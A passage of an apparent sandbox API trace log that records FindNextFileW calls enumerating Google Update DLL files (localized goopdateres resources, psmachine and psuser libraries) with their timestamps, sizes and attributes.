nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fil.dll", cAlternateFileName="GOD7F9~1.DLL")) returned 1 [0267.586] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_fr.dll", cAlternateFileName="GOB0D5~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_gu.dll", cAlternateFileName="GOA5CA~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hi.dll", cAlternateFileName="GO950C~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hr.dll", cAlternateFileName="GOD93D~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hu.dll", cAlternateFileName="GO65EC~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_id.dll", cAlternateFileName="GO9B55~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_is.dll", cAlternateFileName="GOEB36~1.DLL")) returned 1 [0267.587] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_it.dll", cAlternateFileName="GO79FD~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_iw.dll", cAlternateFileName="GOF8FD~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ja.dll", cAlternateFileName="GO19B9~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_kn.dll", cAlternateFileName="GOD1E2~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ko.dll", cAlternateFileName="GO9703~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lt.dll", cAlternateFileName="GOB674~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lv.dll", cAlternateFileName="GO6D3D~1.DLL")) returned 1 [0267.588] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ml.dll", cAlternateFileName="GOC08E~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_mr.dll", cAlternateFileName="GOFE9B~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ms.dll", cAlternateFileName="GO6698~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_nl.dll", cAlternateFileName="GOD98C~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_no.dll", cAlternateFileName="GO5A8C~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pl.dll", cAlternateFileName="GO21C1~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-BR.dll", cAlternateFileName="GOBB1C~1.DLL")) returned 1 [0267.589] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-PT.dll", cAlternateFileName="GO3668~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ro.dll", cAlternateFileName="GOF742~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ru.dll", cAlternateFileName="GO67EE~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sk.dll", cAlternateFileName="GO472D~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sl.dll", cAlternateFileName="GO2CB4~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sr.dll", cAlternateFileName="GO9365~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sv.dll", cAlternateFileName="GO5E84~1.DLL")) returned 1 [0267.590] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sw.dll", cAlternateFileName="GO07AF~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ta.dll", cAlternateFileName="GOB6CE~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_te.dll", cAlternateFileName="GO8BF2~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_th.dll", cAlternateFileName="GO438A~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_tr.dll", cAlternateFileName="GO0156~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_uk.dll", cAlternateFileName="GOFFE7~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ur.dll", cAlternateFileName="GO0A51~1.DLL")) returned 1 [0267.591] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_vi.dll", cAlternateFileName="GO458B~1.DLL")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-CN.dll", cAlternateFileName="GO3A8A~1.DLL")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-TW.dll", cAlternateFileName="GO5219~1.DLL")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7d58e1, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7d58e1, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x99850, dwReserved0=0x0, dwReserved1=0x0, cFileName="npGoogleUpdate3.dll", cAlternateFileName="NPGOOG~1.DLL")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine.dll", cAlternateFileName="PSMACH~1.DLL")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psmachine_64.dll", cAlternateFileName="PSMACH~2.DLL")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x32650, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser.dll", cAlternateFileName="")) returned 1 [0267.592] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 1 [0267.593] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc500c5f, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x3ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="psuser_64.dll", cAlternateFileName="PSUSER~1.DLL")) returned 0 [0267.593] FindClose (in: hFindFile=0x33e4e28 | out: hFindFile=0x33e4e28) returned 1 [0267.595] 